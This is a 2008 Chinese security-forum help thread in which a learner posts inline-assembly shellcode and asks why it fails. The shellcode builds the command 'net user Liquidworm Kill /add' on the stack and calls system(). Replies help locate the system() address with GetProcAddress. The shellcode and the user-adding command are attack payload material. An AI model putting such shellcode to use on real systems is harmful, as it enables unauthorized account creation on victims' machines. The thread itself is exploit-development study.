首页
社区
课程
招聘
[求助]创建用户的shellcode
2008-8-3 21:26 4416

[求助]创建用户的shellcode

2008-8-3 21:26
4416
今天看教程,但是在调试代码的时候有问题。
#include <windows.h>
#include <winbase.h>

void main(void)
{  
  LoadLibrary("msvcrt.dll");
  __asm
  {
    mov esp,ebp
    push ebp   
    mov ebp,esp
    xor edi,edi
    push edi
    mov ebp,esp
    sub esp,1dh
    mov byte ptr [ebp-1dh],6eh
    mov byte ptr [ebp-1ch],65h
    mov byte ptr [ebp-1bh],74h
    mov byte ptr [ebp-1ah],20h
    mov byte ptr [ebp-19h],75h
    mov byte ptr [ebp-18h],73h
    mov byte ptr [ebp-17h],65h
    mov byte ptr [ebp-16h],72h
    mov byte ptr [ebp-15h],20h
    mov byte ptr [ebp-14h],4ch
    mov byte ptr [ebp-13h],69h
    mov byte ptr [ebp-12h],71h
    mov byte ptr [ebp-11h],75h
    mov byte ptr [ebp-10h],69h
    mov byte ptr [ebp-0fh],64h
    mov byte ptr [ebp-0eh],77h
    mov byte ptr [ebp-0dh],6fh
    mov byte ptr [ebp-0ch],72h
    mov byte ptr [ebp-0bh],6dh
    mov byte ptr [ebp-0ah],20h
    mov byte ptr [ebp-09h],6bh
    mov byte ptr [ebp-08h],69h
    mov byte ptr [ebp-07h],6ch
    mov byte ptr [ebp-06h],6ch
    mov byte ptr [ebp-05h],20h
    mov byte ptr [ebp-04h],2fh
    mov byte ptr [ebp-03h],61h
    mov byte ptr [ebp-02h],64h
    mov byte ptr [ebp-01h],64h
    push esp
    mov eax,0040eeb0h
    call eax
  }
}

/*
#include <windows.h>
void main(void)
{
  LoadLibrary("msvcrt.dll");
  system("net user Liquidworm Kill /add");
}
*/
呵呵,上面的asm代码不知道写的对不对啊。就是构造参数,然后把参数在入栈,最后调用system的地址。但是运行的时候有个错误框啊。

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
点赞0
打赏
分享
最新回复 (8)
雪    币: 1946
活跃值: (238)
能力值: (RANK:330 )
在线值:
发帖
回帖
粉丝
Bughoho 8 2008-8-3 22:08
2
0
project setting cookie check
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
nichos 2008-8-4 13:02
3
0
小伙很勤奋阿 到处都能看到你
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Liquidworm 2008-8-5 09:38
4
0
呵呵,我一般都是发布求助帖子,最近我在学习缓冲区溢出,不过这个我暂时跳过去了,不过有人愿意回答我,那我是很感激的。我是不是应该用asm写写function call的实现啊。我以前用C语言。
雪    币: 2056
活跃值: (13)
能力值: ( LV13,RANK:250 )
在线值:
发帖
回帖
粉丝
vxasm 6 2008-8-5 10:16
5
0
最后三行:

push esp
mov eax,0040eeb0h //system函数的地址好像不对,怎么会是00开头的呢?
call eax
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Liquidworm 2008-8-5 13:22
6
0
5楼的兄弟:
但是我在用od看的时候就是这个地址,并且有的时候我修改了源代码之后,这个地址又变了,这是为啥??
雪    币: 2056
活跃值: (13)
能力值: ( LV13,RANK:250 )
在线值:
发帖
回帖
粉丝
vxasm 6 2008-8-5 14:01
7
0
HMODULE hLib = LoadLibrary("msvcrt.dll");
DWORD MyFunc = (DWORD)GetProcAddress(hLib, "system");

system函数的地址是在同一版本的操作系统下是不会变的,你调试运行下,MyFunc中保存的就是system函数的地址了。
雪    币: 212
活跃值: (40)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
writer15 2008-8-5 14:46
8
0
已删除~~~~
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Liquidworm 2008-8-6 07:05
9
0
好的,谢谢,以后我就用这种方式查看函数地址。
游客
登录 | 注册 方可回帖
返回